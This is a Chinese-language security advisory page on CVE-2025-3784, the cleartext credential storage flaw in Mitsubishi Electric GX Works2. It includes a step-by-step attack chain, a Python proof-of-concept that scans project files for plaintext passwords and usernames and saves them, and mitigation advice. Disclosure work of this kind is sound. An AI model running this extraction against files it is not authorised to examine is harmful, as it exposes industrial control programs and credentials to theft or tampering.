IPBUF安全漏洞报告
English
CVE-2025-3784 CVSS 5.5 中危

CVE-2025-3784: 三菱电机GX Works2明文存储敏感信息漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-3784
漏洞类型
明文存储敏感信息
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mitsubishi Electric GX Works2

相关标签

明文存储敏感信息GX Works2三菱电机工业自动化PLC凭证泄露本地攻击CVE-2025-3784MEDIUMCVSS 5.5

漏洞概述

CVE-2025-3784是三菱电机GX Works2软件中的一个安全漏洞,漏洞类型为明文存储敏感信息(Cleartext Storage of Sensitive Information)。该漏洞存在于GX Works2的所有版本中,攻击者可以通过分析项目文件来获取以明文形式存储的凭证信息。由于凭证信息未经加密直接存储在项目文件中,攻击者无需高深技术即可提取这些敏感数据。成功利用此漏洞后,攻击者可以使用泄露的凭证信息打开受用户认证保护的项目文件,进而获取或修改项目中的敏感信息,包括可能的工业控制系统配置、PLC程序、知识产权内容等。此漏洞的CVSS评分为5.5,属于中等严重程度,攻击向量为本地攻击,需要低权限即可实施,且无需用户交互即可完成攻击。

技术细节

该漏洞的核心问题在于GX Works2项目文件的存储机制存在安全缺陷。在项目创建和保存过程中,用户设置的认证凭证(如用户名和密码)被以明文形式直接写入到项目文件的数据结构中,而非采用加密或哈希处理。攻击者获取项目文件后,可通过以下方式提取凭证信息:1) 使用十六进制编辑器或二进制分析工具直接查看文件内容;2) 编写简单的解析脚本搜索特定的字符串模式;3) 利用开源工具如findstr、grep等在文件内容中搜索密码特征字符串。由于凭证以明文形式存在,攻击者可以直接使用这些凭证通过GX Works2的正常认证流程访问受保护的项目文件,进而获取项目中的所有配置信息、PLC程序代码、工程数据等敏感内容。攻击的复杂度较低,但潜在影响范围较广,因为工业自动化项目中往往包含重要的生产控制逻辑和知识产权。

攻击链分析

STEP 1
步骤1
攻击者获取GX Works2项目文件:通过社工、窃取、备份文件等方式获得目标的项目文件(如.gx2、.gpp等格式)
STEP 2
步骤2
分析项目文件结构:使用十六进制编辑器或专用工具打开项目文件,定位存储凭证信息的数据区域
STEP 3
步骤3
提取明文凭证:识别并提取以明文形式存储的用户名、密码或其他认证凭证信息
STEP 4
步骤4
利用泄露凭证:使用提取的凭证信息通过GX Works2的正常认证流程打开受保护的项目文件
STEP 5
步骤5
窃取或篡改数据:成功认证后,攻击者可以查看、复制、修改项目中的PLC程序、配置参数、知识产权内容等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-3784 PoC - GX Works2 Project File Credential Extraction This PoC demonstrates extracting plaintext credentials from GX Works2 project files. Note: This is for educational and authorized security testing purposes only. """ import os import sys import re import binascii def extract_plaintext_credentials(file_path): """ Extract potential plaintext credentials from GX Works2 project files. GX Works2 project files may contain user authentication credentials stored in plaintext. """ print(f"[*] Analyzing file: {file_path}") if not os.path.exists(file_path): print(f"[-] Error: File not found: {file_path}") return try: with open(file_path, 'rb') as f: data = f.read() print(f"[+] File size: {len(data)} bytes") # Common password-related patterns in GX Works2 project files patterns = [ rb'password\s*[=: ]\s*([\x20-\x7e]+)', # password=xxx rb'pwd\s*[=: ]\s*([\x20-\x7e]+)', # pwd=xxx rb'pass\s*[=: ]\s*([\x20-\x7e]+)', # pass=xxx rb'user\s*[=: ]\s*([\x20-\x7e]+)', # user=xxx rb'auth\s*[=: ]\s*([\x20-\x7e]+)', # auth=xxx rb'credential\s*[=: ]\s*([\x20-\x7e]+)', # credential=xxx ] print("\n[*] Searching for plaintext credentials...") findings = [] for pattern in patterns: matches = re.finditer(pattern, data, re.IGNORECASE) for match in matches: # Filter out common false positives value = match.group(1).decode('utf-8', errors='ignore') if len(value) >= 3 and not value.lower() in ['null', 'none', 'false', 'true']: findings.append({ 'pattern': pattern.decode('utf-8', errors='ignore'), 'value': value, 'offset': match.start() }) # Also search for ASCII strings that look like credentials ascii_strings = re.findall(rb'[\x21-\x7e]{8,64}', data) print(f"\n[+] Found {len(findings)} potential credential matches") if findings: print("\n=== Extracted Credentials ===") for i, finding in enumerate(findings, 1): print(f"\n[{i}] Pattern: {finding['pattern']}") print(f" Value: {finding['value']}") print(f" Offset: 0x{finding['offset']:x}") # Save findings to file output_file = f"{os.path.splitext(file_path)[0]}_credentials.txt" with open(output_file, 'w') as f: f.write(f"CVE-2025-3784 - GX Works2 Credential Extraction Results\n") f.write(f"Target File: {file_path}\n") f.write(f"Analysis Date: {__import__('datetime').datetime.now()}\n\n") for i, finding in enumerate(findings, 1): f.write(f"\n[{i}] {finding['pattern']} = {finding['value']}\n") print(f"\n[+] Results saved to: {output_file}") except Exception as e: print(f"[-] Error during analysis: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-3784_poc.py <project_file>") print("Example: python cve-2025-3784_poc.py sample.gx2") else: extract_plaintext_credentials(sys.argv[1])

影响范围

GX Works2 所有版本 (all versions)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 严格限制GX Works2项目文件的访问权限,仅授权人员可访问;2) 避免通过不安全的渠道传输项目文件;3) 定期检查项目文件的完整性,监控是否有异常访问;4) 对包含敏感信息的项目文件进行加密备份;5) 加强员工安全意识培训,防止社会工程攻击导致文件泄露;6) 在安全的环境中处理项目文件,避免在公共或共享存储中保存未加密的项目文件;7) 考虑使用虚拟专用网络(VPN)访问项目文件;8) 实施多因素认证机制,即使凭证泄露也能提供额外保护层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表